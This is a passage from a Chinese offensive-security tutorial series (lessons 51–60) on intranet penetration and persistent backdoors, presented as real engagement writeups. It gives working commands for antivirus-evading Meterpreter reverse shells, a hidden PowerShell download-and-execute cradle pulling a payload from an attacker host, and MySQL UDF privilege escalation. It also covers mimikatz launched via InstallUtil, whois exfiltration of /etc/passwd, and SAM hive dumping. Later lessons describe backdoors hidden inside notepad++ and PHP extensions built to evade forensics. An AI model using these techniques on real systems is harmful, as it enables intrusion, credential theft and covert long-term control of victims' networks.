第六十课:高级持续渗透-第四季关于后门 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/51_项目回忆:体系的本质是知识点串联.html":{"url":"Chapter1/51_项目回忆:体系的本质是知识点串联.html","title":"第五十一课:项目回忆:体系的本质是知识点串联","keywords":"","body":" 一次普通的项目,做完后,却陈思很久,遂打算一气合成把整个流程记录下来,此篇再一次的叮嘱我:分享便是我最好的老师。Micropoor 拿shell过程略过。(由于文章在项目实施结束形成,故部分无图或补图) 目标机背景: windows 2008 r2 x64位 360主动 + 360卫士 + 360杀毒 + waf,目标机仅支持 aspx。运行 OAWeb 服务(.net+mssql),并且是内网中其他服务器的数据库服务器(mysql 数据库,不支持 php,无 .net for mysql 驱动) 端口开放如下: 需要解决的第一个问题:payload 由于目标机,安装某套装,payload 一定是必须要解决的问题。当 tasklist 的时候,看到如下图几个进程的时候,第一反应就是需要做 payload 分离免杀。分离免杀主要分两大类,一类为第三方分离免杀,一类为自带安装分离免杀。文章中,采取了第三方分离免杀。 本地补图(由于项目在实施后形成该文章,故本地靶机补图) 目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对PE头文件的查杀。尤其是当payload文件越大的时候,特征越容易查杀。 既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免PE头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于windows下为了更稳定的一种常用手法。载入内存。 0x00:以msf为例:监听端口 0x01:这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。避免行为: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c 0x02:既然是shellcode方式的payload,那么需要借助第三方来启动,加载到内存。执行shellcode,自己写也不是很难,这里我借用一个github一个开源: https://github.com/clinicallyinane/shellcode_launcher/ 作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。 生成的payload大小如下:476字节。 世界杀毒网: 上线成功。 而关于自带安装分离免杀,请参考我在公司 Wiki 上写的第六十九课时 payload分离免杀思路第二季 payload 反弹到 vps 的 msf 上,我的权限仅仅如下。 需要解决的第二个问题:提权 参考主机背景图,184个补丁,以及某套装。遂放弃了exp提权。 原因1:需要更多的时间消耗在对反病毒软件对抗。 原因2:目标机补丁过多。需要消耗更多的时间 原因3:非常艰难的环境下,拿到了权限,不想因为某些exp导致蓝屏从而丢失权限。 开始翻阅目标机上的文件,以及搜集目标机的端口,服务,启动等一系列信息。发现目标机安装mysql,并与内网其中一台建立大量连接。mysql版本为5.1.49-community-log 下载目标机*..MYI,*.MYD,*.frm,加载于本地mysql。得到目标机root密码 而目标机没有相关脚本环境连接mysql,到这里,可以有2个方向针对该问题作出解决 一:转发目标机端口到本地,从而操作mysql。 二:在非交互式下,完成mysql udf的提权。 为了减少目标主机的流量探测,以及维护来之不易的session,故选择了第二种方案。非交互式下,mysql提权。 命令行下,调用mysql是需要在启动一个mysql窗口,从而继续执行,而session下没有这样的条件。但mysql的 -e 参数 作为直接执行sql语句,从而不另启动窗口。而-e需要注意的事项,use database。 也就是所有参数需要mysql.xxxx 如没有指定database,将会出现如下错误,而使用UNION,将不会有回显,一定出现问题,将会很难定位,故选择以mysql.x的方式指定。 大致流程如下: mysql -uroot -pXXXXXX -e \"create table mysql.a (cmd LONGBLOB);\" mysql -uroot -pXXXXXX -e \"insert into mysql.a (cmd) values (hex(load_file('D:\\\\XXXXXXXXXX\\\\mysql5\\\\lib\\\\plugin\\\\u.dll')));\" mysql -u root -pXXXXXX -e \"SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE 'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';\" mysql -uroot -pXXXXXX -e \"CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'\" mysql -uroot -pXXXXXX -e \"select shell('cmd','whoami');\" 需要解决的第三个问题:登录服务器 在有套装的环境下,默认拦截cmd下加帐号,而目前又无法抓取系统登录明文。mimikatz被查杀。cmd下调用powershell被拦截。遂选择激活guest帐号,并提升到administrators组,来临时登录目标机。 socks代理登录目标机: 需要解决的第四个问题:抓取目标机明文密码 登录服务器后,目前依然不知道目标机的密码。这里有两种方向来解决该问题。 一:关闭我能关闭的套装,由于管理员没有注销登录。能关闭的有限。 二:分离免杀做mimikatz密码抓取 作者选择了第二种方案: 这里需要用到csc.exe,与InstallUtil.exe 关于两个文件默认安装位置:(注意x32,x64区别) C:\\Windows\\Microsoft.NET\\Framework\\ C:\\Windows\\Microsoft.NET\\Framework64\\ C:\\Windows\\Microsoft.NET\\Framework\\ C:\\Windows\\Microsoft.NET\\Framework64\\ 分别执行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /keyfile:C:\\Users\\Johnn\\Desktop\\installutil.snk /unsafe C:\\Users\\Johnn\\Desktop\\mimi.cs C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Users\\Johnn\\Desktop\\Micropoor.exe 派生出的第五个问题:横向渗透 关于第五个问题,本意并不是该篇幅所要讲述的,后续是搜集目标机的mssql,mysql,rdp 密码。搜集所在内网的拓扑,来辅助本次的横向扩展。便完成了本次的项目。 如需具体,请参考我在Wiki上的系列教程78,79,12,13,71课时。 后者的话: 本次的整个流程,并没有遇到太多的问题,仅仅是把几个知识点的串联起来,形成的一个完整的渗透。也许你了解知识点1,也了解知识点2,还了解知识点3等等。但是一次完整的项目是离不开每一个知识点的串联与灵活运用。这应该是每一个信息安全从业人员值得思考的问题。 在每次分享的同时,深深发现,原来分享,才是我最好的老师。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/52_渗透的本质是信息搜集.html":{"url":"Chapter1/52_渗透的本质是信息搜集.html","title":"第五十二课:渗透的本质是信息搜集","keywords":"","body":" 目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 ----Micropoor 文章将连载,从几方面论证,渗透的本质是信息搜集。 一次完整的网络渗透,不仅仅是与目标管理人员的权限争夺,一次完整的网络渗透,它分为两大块,技术业务与信息分析业务。 而技术业务要辅助并且要为信息分析业务提供强大的支撑与保证。同时信息分析业务要为技术业务提供关键的目标信息分析逻辑关系与渗透方向。 案例如下:(非root/administrator下主动信息搜集)(有马赛克) 在得到一个webshell时,非root/administrator情况下对目标信息搜集至关重要,它会影响后期的渗透是否顺利,以及渗透方向。 目标主机分配了2个内网IP,分别为 10.0.0.X 与 192.168.100.X 得知部分服务软件,以及杀毒软件 NOD32,一般内网中为杀毒为集体一致。 搜集补丁更新频率,以及系统状况 搜集安装软件以及版本,路径等。 域中用户如下。目前权限为 iis apppool\\xxxx 正如上面所说,技术业务需要辅助分析业务。在域组中,其中有几个组需要特别关注,在一般的大型内网渗透中,需要关注大致几个组 (1)IT组/研发组 他们掌握在大量的内网密码,数据库密码等。(2)秘书组 他们掌握着大量的目标机构的内部传达文件,为信息分析业务提供信息,在反馈给技术业务来确定渗透方向(3)domain admins组 root/administrator(4)财务组 他们掌握着大量的资金往来与目标企业的规划发展,并且可以通过资金,来判断出目标组织的整体架构(5)CXX组 ceo cto coo等,不同的目标组织名字不同,如部长,厂长,经理等。 以研发中心为例:研发中心共计4人。 并且开始规划信息刺探等级: 等级1:确定某部门具体人员数量 如研发中心4人等级2:确定该部门的英文用户名的具体信息,如姓名,联系方式,邮箱,职务等。以便确定下一步攻击方向等级3:分别刺探白天/夜间 内网中所存活机器并且对应IP地址等级4: 对应人员的工作机内网IP,以及工作时间等级5: 根据信息业务反馈,制定目标安全时间,以便拖拽指定人员文件,或登录目标机器等级6: 制定目标机器后渗透与持续渗透的方式以及后门 刺探等级1 刺探等级2 在 net user /domain 后得到域中用户,但需要在非root/administrator权限下得到更多的信息来给信息分析业务提供数据,并确定攻击方向。 在案例中针对 nod32,采用 powershell payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xx -f psh-reflection > xx.ps1 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost xxx.xxx.xxx.xxx lhost => xxx.xxx.xxx.xxx msf exploit(handler) > set lport xxx lport => xxx msf > run powershell -windowstyle hidden -exec bypass -c \"IEX (New-ObjectNet.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/xxx.ps1');\" 注意区分目标及系统是32位还是64位。 接下来将会用 IIS APPPOOL\\XXXX 的权限来搜集更多有趣的信息 某数据库配置 for mssql 白天测试段10.0.0.x段在线主机 for windows (部分) 10.0.0.x 段信息刺探: IP 1-50 open 3389 (部分) [+] 10.0.0.2: - 10.0.0.2:3389 - TCP OPEN [+] 10.0.0.3: - 10.0.0.3:3389 - TCP OPEN [+] 10.0.0.5: - 10.0.0.5:3389 - TCP OPEN [+] 10.0.0.7: - 10.0.0.7:3389 - TCP OPEN [+] 10.0.0.9: - 10.0.0.9:3389 - TCP OPEN [+] 10.0.0.12: - 10.0.0.12:3389 - TCP OPEN [+] 10.0.0.13: - 10.0.0.13:3389 - TCP OPEN [+] 10.0.0.14: - 10.0.0.14:3389 - TCP OPEN [+] 10.0.0.26: - 10.0.0.26:3389 - TCP OPEN [+] 10.0.0.28: - 10.0.0.28:3389 - TCP OPEN [+] 10.0.0.32: - 10.0.0.32:3389 - TCP OPEN IP 1-255 open 22,25 (部分) [+] 10.0.0.3: - 10.0.0.3:25 - TCP OPEN [+] 10.0.0.5: - 10.0.0.5:25 - TCP OPEN [+] 10.0.0.14: - 10.0.0.14:25 - TCP OPEN [+] 10.0.0.15: - 10.0.0.15:22 - TCP OPEN [+] 10.0.0.16: - 10.0.0.16:22 - TCP OPEN [+] 10.0.0.17: - 10.0.0.17:22 - TCP OPEN [+] 10.0.0.20: - 10.0.0.20:22 - TCP OPEN [+] 10.0.0.21: - 10.0.0.21:22 - TCP OPEN [+] 10.0.0.31: - 10.0.0.31:22 - TCP OPEN [+] 10.0.0.38: - 10.0.0.38:22 - TCP OPEN [+] 10.0.0.40: - 10.0.0.40:22 - TCP OPEN [+] 10.0.0.99: - 10.0.0.99:22 - TCP OPEN [+] 10.0.0.251: - 10.0.0.251:22 - TCP OPEN [+] 10.0.0.254: - 10.0.0.254:22 - TCP OPEN IP 1-255 smtp for version (部分) msf auxiliary(smtp_version) \\> run [+] 10.0.0.3:25 - 10.0.0.3:25 SMTP 220 xxxxxxxxxxxxxxxxx MAIL Service,Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:28:44 +0800 \\\\x0d\\\\x0a [+] 10.0.0.5:25 - 10.0.0.5:25 SMTP 220 xxxxxxxxxxxxxxxxx Microsoft ESMTP MAIL Service, Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:29:05 +0800 \\\\x0d\\\\x0a [+] 10.0.0.14:25 - 10.0.0.14:25 SMTP 220 xxxxxxxxxxxxxxxxxt ESMTP MAIL Service, Version: 7.0.6002.18264 ready at Wed, 14 Feb 2018 18:30:32 +0800 \\\\x0d\\\\x0a 在iis apppool\\xxxx的权限下,目前得知该目标内网分配段,安装软件,杀毒,端口,服务,补丁更新频率,管理员上线操作时间段,数据库配置信息,域用户详细信息(英文user对应的职务,姓名等),以上数据等待信息分析业务,来确定攻击方向。如财务组,如cxx组等。并且完成了刺探等级1-4 而在以上的信息搜集过程中,提权不在是我考虑的问题了,可以Filezilla server提权,mssqsl数据库提权,win03提权,win2000提权,win08提权,iis.x提权,内网映射提权等。而现在需要做的是如何反制被发现来制定目标业务后门,以便长期控制。 下一季的连载,将会从三方面来讲述大型内网的信息刺探,既有0day的admin权限下刺探,无提权下的guest/users权限下刺探。数据库下的权限刺探。域权限延伸到办公PC机的信息刺探。以及只有路由权限下的信息刺探。原来在渗透过程中,提权是次要的,信息刺探才是渗透的本质。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/53_内网渗透中的文件传输.html":{"url":"Chapter1/53_内网渗透中的文件传输.html","title":"第五十三课:内网渗透中的文件传输","keywords":"","body":"利用whois传输文件: 传输机: root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64` 接受机: root@john:/tmp# nc -l -v -p 4444 | sed \"s/ //g\" | base64 -d 优点:适用于隐蔽传输。最小化被发现。缺点:适用于传输小文件。 后者的话:whois是否同样适用于payload的反弹,是一个非常有趣的实验。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/54_基于Powershell做Socks4-5代理.html":{"url":"Chapter1/54_基于Powershell做Socks4-5代理.html","title":"第五十四课:基于Powershell做Socks 4-5代理","keywords":"","body":"连载2:在上一篇连载中讲到powershell可无缝来调.net framework。而在实战中,内网的代理尤其重要,如常见的端口转发被反病毒软件盯死。本章无图,其他同学如有环境测试,可补图。 介绍 github:https://raw.githubusercontent.com/p3nt4/Invoke-SocksProxy/master/Invoke-SocksProxy.psm1 Examples Create a Socks 4/5 proxy on port 1234: Import-Module .\\Invoke-SocksProxy.psm1 Invoke-SocksProxy -bindPort 1234 Create a simple tcp port forward: Import-Module .\\Invoke-SocksProxy.psm1 Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389 可目前过大部分反病毒软件。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/55_与Smbmap结合攻击.html":{"url":"Chapter1/55_与Smbmap结合攻击.html","title":"第五十五课:与Smbmap结合攻击","keywords":"","body":"msf 在配合其它框架攻击,可补充 msf 本身的不足以及强化攻击方式,优化攻击线路。本季将会把 msf 与 Smbmap 结合攻击。弥补 msf 文件搜索以及文件内容搜索的不足。 项目地址:https://github.com/ShawnDEvans/smbmap 支持传递哈希 文件上传/下载/删除 可枚举(可写共享,配合Metasploit) 远程命令执行 支持文件内容搜索 支持文件名匹配(可以自动下载) msf配合Smbmap攻击需要使用到sock4a模块 msf auxiliary(server/socks4a) > show options 该模块socks4a加入job msf auxiliary(server/socks4a) > jobs 配置proxychains,做结合攻击铺垫。 root@John:/tmp# cat /etc/proxychains.conf 支持远程命令 root@John:/tmp\\# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'net user' root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'whoami' 枚举目标机共享 root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐d ABC root\\@John:/tmp\\# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'ipconfig' Smbmap支持IP段的共享枚举,当然Smbmap还有更多强大的功能等待探索。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/56_离线提取目标机hash.html":{"url":"Chapter1/56_离线提取目标机hash.html","title":"第五十六课:离线提取目标机hash","keywords":"","body":"很多环境下,不允许上传或者使用 mimikatz。而针对非域控的单机离线提取 hash 显得尤为重要。 在 meterpreter shell 命令切到交互式 cmd 命令。 reg save 方式使得需要下载的目标机hash文件更小。 reg save HKLM\\SYSTEM sys.hiv reg save HKLM\\SAM sam.hiv reg save hklm\\security security.hiv meterpreter下自带download功能。 离线提取: 本季用到的是 impacket 的 secretsdump.py。Kali默认路径:/root/impacket/examples/secretsdump.py 命令如下: root@John:/tmp# python /root/impacket/examples/secretsdump.py ‐sam sam.hiv ‐security security.hiv ‐system sys.hiv LOCAL Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/57_高级持续渗透-第一季关于后门.html":{"url":"Chapter1/57_高级持续渗透-第一季关于后门.html","title":"第五十七课:高级持续渗透-第一季关于后门","keywords":"","body":"当我们接到某个项目的时候,它已经是被入侵了。甚至已经被脱库,或残留后门等持续攻击洗库。 后渗透攻击者的本质是什么? 阻止防御者信息搜集,销毁行程记录,隐藏存留文件。 防御者的本质是什么? 寻找遗留信息,发现攻击轨迹与样本残留并且阻断再次攻击。 那么这里攻击者就要引入“持续攻击”,防御者就要引入“溯源取证与清理遗留”,攻击与持续攻击的分水岭是就是后渗透持续攻击,而表现形式其中之一就是后门。 后门的种类: 本地后门:如系统后门,这里指的是装机后自带的某功能或者自带软件后门 本地拓展后门:如iis 6的isapi,iis7的 模块后门 第三方后门:如apache,serv-u,第三方软件后门 第三方扩展后门:如php扩展后门,apache扩展后门,第三方扩展后门 人为化后门:一般指被动后门,由人为引起触发导致激活,或者传播 后门的隐蔽性排行:本地后门 > 本地拓展后门 > 第三方后门 > 第三方扩展后门,这里排除人为化后门,一个优秀的人为化后门会造成的损失不可估计,比如勒索病毒的某些非联网的独立机器,也有被勒索中毒。在比如某微博的蠕虫等。 整体概括分类为:主动后门,被动后门。传播型后门。 后门的几点特性:隐蔽,稳定。持久 一个优秀的后门,一定是具备几点特征的,无文件,无端口,无进程,无服务,无语言码,并且是量身目标制定且一般不具备通用性。 攻击者与防御者的本质对抗是什么? 增加对方在对抗中的时间成本,人力成本。 这里要引用百度对APT的解释: APT是指高级持续性威胁。利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式,APT攻击的原理相对于其他攻击形式更为高级和先进,其高级性主要体现在APT在发动攻击之前需要对攻击对象的业务流程和目标系统进行精确的收集。 那么关于高级持续渗透后门与上面的解释类似:高级持续渗透后门是指高级持续性后渗透权限长期把控,利用先进的后渗透手段对特定目标进行长期持续性维持权限的后攻击形式,高级持续渗透后门的原理相对于其他后门形式更为高级和先进,其高级性主要体现在持续渗透后门在发动持续性权限维持之前需要对攻击对象的业务流程和目标系统进行精确的收集并量身制定目标后门。 第一季从攻击者角度来对抗:项目中一定会接触到溯源,而溯源最重要的环节之一就是样本取证与分析。既然是样本取证,也就是主要找残留文件。可能是脚本,dll,so,exe等。其次是查找相关流量异常,端口,进程。异常日志。做为攻击者的对抗,无开放端口,无残留文件,无进程,无服务。在防御者处理完攻击事件后的一定时间内,再次激活。 这里要解释一下rootkit,它的英文翻译是一种特殊类型的恶意软件。百度百科是这样解释的: Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系 统内核,进而达到隐藏信息的目的。 在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。 后门的生成大体分4类: 有目标源码 无目标源码 无目标源码,有目标api 无目标源码,无api,得到相关漏洞等待触发 结合后门生成分类来举例细说几个demo。 1.有目标源码 目前大量服务器上有第三方软件。这里以notepad++为例。 Notepad++是Windows操作系统下的一套文本编辑器,有完整的中文化接口及支持多国语言编写的功能,并且免费开源。 开源项目地址:https://github.com/notepad-plus-plus/notepad-plus-plus 关于编译:https://micropoor.blogspot.hk/2017/12/1notepad.html Demo 环境:windows 7 x64,notepad++(x64) Demo IDE:vs2017 在源码中,我们修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。 文件被正常打开。 优点:在对抗反病毒,反后门软件中有绝对优势,可本地多次调试,稳定性强壮。跨平台能力非常强壮,并且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。 缺点:针对性较强,需要深入了解目标服务器安装或使用软件。需要语言不确定的语言基础。在封闭系统,如Windows下多出现于第三方开源。 2.无目标源码 参考内部分享第九课 优点:在对抗反病毒,反后门软件中有一定优势,稳定性良好,跨平台能力一般,并且适用于大多数可操作文件,同样可以选择对后门选择方式任意,如主动后门,被动后门,人为化后门等。 缺点:稳定性不突出,在修改已生成的二进制文件,容易被反病毒,反后门软件查杀。 3.无目标源码,有目标api 目前大多数的Ms_server,内置iis,从windows2000开始,而目前国内市场使用03sp2,08r2为主。在win下又以iis为主,在iis中目前主要分为iis5.x,iis6.x,大于等于iis7.x。iis7以后有了很大的变化,尤其引入模块化体系结构。iis6.x最明显的是内置IUSR来进行身份验证,IIS7中,每个身份验证机制都被隔离到自己的模块中,或安装或卸载。 同样,目前国内市场另一种常见组合XAMP(WIN+Apche+mysql+php,与Linux+Apche+mysql+php),php5.x与php7.x有了很大的变化,PHP7将基于最初由Zend开发的PHPNG来改进其框架。并且加入新功能,如新运算符,标记,对十六进制的更友好支持等。 Demo 环境:windows 7x86 php5.6.32 Demo IDE:vs2017 php默认有查看加载扩展,命令为php -m,有着部分的默认扩展,而在扩展中,又可以对自己不显示在扩展列表中 php.ini 配置 以Demo.php为例,demo.php代码如下: 在访问demo.php,post带有触发后门特征,来执行攻击者的任意php代码。在demo中,仅仅是做到了,无明显的以php后缀为结尾的后门,那么结合第一条,有目标源码为前提,来写入其他默认自带扩展中,来达到更隐蔽的作用。 优点:在对抗反病毒,反后门软件中有绝对优势,可本地多次调试,稳定性非常强壮。跨平台能力非常强壮,且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。 缺点:在编译后门的时候,需要查阅大量API,一个平台到多个平台的相关API。调试头弄,失眠,吃不下去饭。领导不理解,冷暖自知。 第二季从防御者角度来对抗。 后者的话: 目前国内市场的全流量日志分析,由于受制于存储条件等因素,大部分为全流量,流量部分分析。那么在高级持久性后门中,如何建立一个伪流量非实用数据来逃逸日志分析,这应该是一个优秀高级持续后门应该思考的问题。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/58_高级持续渗透-第二季关于后门补充一.html":{"url":"Chapter1/58_高级持续渗透-第二季关于后门补充一.html","title":"第五十八课:高级持续渗透-第二季关于后门补充一","keywords":"","body":"这次继续围绕第一篇,第一季关于后门: https://micropoor.blogspot.hk/2017/12/php.html 做整理与补充。在深入一步细化demo notepad++。 后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。这样的后门才能更隐蔽,更长久。 而对于防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证。 所以说后门的安装与反安装是一场考试,一场实战考试。 这里要引用几个概念,只有概念清晰,才能把后门加入概念化,使其更隐蔽。 1:攻击方与防御方的本质是什么?增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。 2:安全公司的本质是什么? 盈利,最小投入,最大产出。 3:安全公司产品的本质是什么? 能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户) 4:安全人员的本质是什么? 赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。 5:对接客户的本质是什么? 对接客户也是某公司内安全工作的一员,与概念4相同。 清晰了以上5个概念,作为攻击者,要首先考虑到对抗成本,什么样的对抗成本,能满足概念1-5。影响或阻碍对手方的核心利益。把概念加入到后门,更隐蔽,更长久。 文章的标题既然为php安全新闻早八点,那么文章的本质只做技术研究,Demo本身不具备攻击或者持续控制权限功能。 Demo连载第二季: Demo 环境:windows 7 x64,notepad++(x64) Demo IDE:vs2017 在源码中,我们依然修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。但是这次代码中加入了生成micropoor.txt功能。并且使用php来加载运行它,是的,生成一个txt。demo中,为了更好的演示,取消自动php加载运行该txt。 而txt的内容如图所示,并且为了更好的了解,开启文件监控。 使用notepad++(demo2).exe 打开以php结尾的demo.php,来触发microdoor。并且生成了micropoor.txt 而micropoor.txt内容: 配合micropoor.txt的内容,这次的Demo将会变得更有趣。 那么这次demo 做到了,无服务,无进程,无端口,无自启。 根据上面的5条概念,加入到了demo中,增加对手成本。使其更隐蔽。 如果demo不是notepad++,而是mysql呢?用它的端口,它的进程,它的服务,它的一切,来重新编译microdoor。 例如:重新编译mysql.so,mysql.dll,替换目标主机。 无文件,无进程,无端口,无服务,无语言码。因为一切附属于它。 这应该是一个攻击者值得思考的问题。 正如第一季所说:在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/59_高级持续渗透-第三季关于后门补充二.html":{"url":"Chapter1/59_高级持续渗透-第三季关于后门补充二.html","title":"第五十九课:高级持续渗透-第三季关于后门补充二","keywords":"","body":"前者的话:从第三季开始引入段子,让本枯燥的学术文章,也变得生动有趣。 第二季的Demo遵循人性五条来设计,回忆这其中五条: 1:攻击方与防御方的本质是什么? 增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。 2:安全公司的本质是什么? 盈利,最小投入,最大产出。 3:安全公司产品的本质是什么? 能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户) 4:安全人员的本质是什么? 赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。 5:对接客户的本质是什么? 对接客户也是某公司内安全工作的一员,与概念4相同。 6:线索排查与反线索排查 那么这个demo离可高级可持续性渗透后门还有一段距离,这里引入第六条“线索排查”与“反线索排查”,在第二季的demo中,它生成了一个名为micropoor.txt的文件,如果经验丰富的安全人员可根据时间差来排查日记,demo的工作流程大致是这样的,打开notepad++,生成micropoor.txt,写入内容,关闭文件流。根据线索排查,定位到notepad++,导致权限失控。 在线索排查概念中,这里要引入“ABC”类线索关联排查,当防御者在得到线索A,顺藤到B,最后排查到目标文件C,根据五条中的第一条,demo要考虑如何删除指定日志内容,以及其他操作。来阻止ABC类线索关联排查。 不要思维固死在这是一个nontepad++后门的文章,它是一个面向类后门,面向的是可掌握源码编译的类后门。同样不要把思维固定死在demo中的例子,针对不同版本的NT系统,完全引用“powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz”而关于bypass UAC,已经有成熟的源码。或发送至远程或是写在本地的图片里,不要让知识,限制了后门的想象。这也正是第一季所说的:一个优秀的Microdoor是量身目标制定且一般不具备通用性的。是的,一般不具备通用性。 观看目前文章的一共有2类人,一类攻击方,一类防守方。假设一个场景,现在摆在你面前有一台笔记本,并且这台笔记本有明确的后门,你的任务,排查后门。我想所有人都会排查注册表,服务,端口,进程等。因为这些具备通用性,也同样具备通用性排查手段。 临近文章结尾,第三次引用:在后门的进化对抗中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。如果彻底理解了这段话。那么就要引用王健X爸爸的一句话:先定个小目标,控它个1825天。 / 段子 / 奈何厂商不重视后渗透攻击与持久性攻击,文章的结尾引用马X爸爸的一句话:厂商不改变,我们就改变厂商。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/60_高级持续渗透-第四季关于后门.html":{"url":"Chapter1/60_高级持续渗透-第四季关于后门.html","title":"第六十课:高级持续渗透-第四季关于后门","keywords":"","body":"第四季是一个过渡季,过渡后门在对抗升级中由传统后门,衍生成锁定目标的制定后门。引用百度百科的“后门程序\"的相关解释: https://baike.baidu.com/item/%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/108154 安全从业人员,其实至少一直在与传统后门对抗,比如最常见的webshell免杀与webshell过waf。应急中的样本取证查杀远控残留文件等。但是webshell,远控仅仅又是“backdoor”的其中一种。 这里按照上几季的风格继续引用几个概念,只有概念清晰,才能了解如何对抗。 1:安全从业人员为什么要了解后门? 防御是以市场为核心的,而不是以项目为核心。需要对抗的可能是黑产从业者的流量劫持相关 后门,或者是政治黑客的高持续渗透权限把控后门等。 2:攻击人员为什么要了解后门? 随着对抗传统后门的产品越来越成熟,由特征查杀,到行为查杀,到态势感知。到大数据联合特征溯源锁定,如何反追踪,是一个非常值得思考的问题。 3:后门与项目的关联是什么? 某项目,被入侵,应急并加固解决,若干天后,再次被入侵依然篡改为某博彩。导致安全从业人员,客户之间的问题。 4:后门与安全产品的关联是什么? 某客户购买某安全产品套装,在实战中,一般由非重点关注服务器迂回渗透到核心服务器来跨过安全产品监控,得到相关权限后,后门起到越过安全产品。它会涉及对其他附属安全产品的影响。如客户质疑:为什么我都买了你们的套装,还被入侵。并且这还是第二次了。 思维跳出以上4条,来看下进一年的部分相关安全事件: 思维跳出以上4条安全事件,这里再一次引入百度百科的APT的主要特性: ——潜伏性:这些新型的攻击和威胁可能在用户环境中存在一年以上或更久,他们不断收集各种信息,直到收集到重要情报。而这些发动APT攻击的黑客目的往往不是为了在短时间内获利,而是把“被控主机”当成跳板,持续搜索,直到能彻底掌握所针对的目标人、事、物,所以这种APT攻击模式,实质上是一种“恶意商业间谍威胁”。 ——持续性:由于APT攻击具有持续性甚至长达数年的特征,这让企业的管理人员无从察觉。在此期间,这种“持续性”体现在攻击者不断尝试的各种攻击手段,以及渗透到网络内部后长期蛰伏。 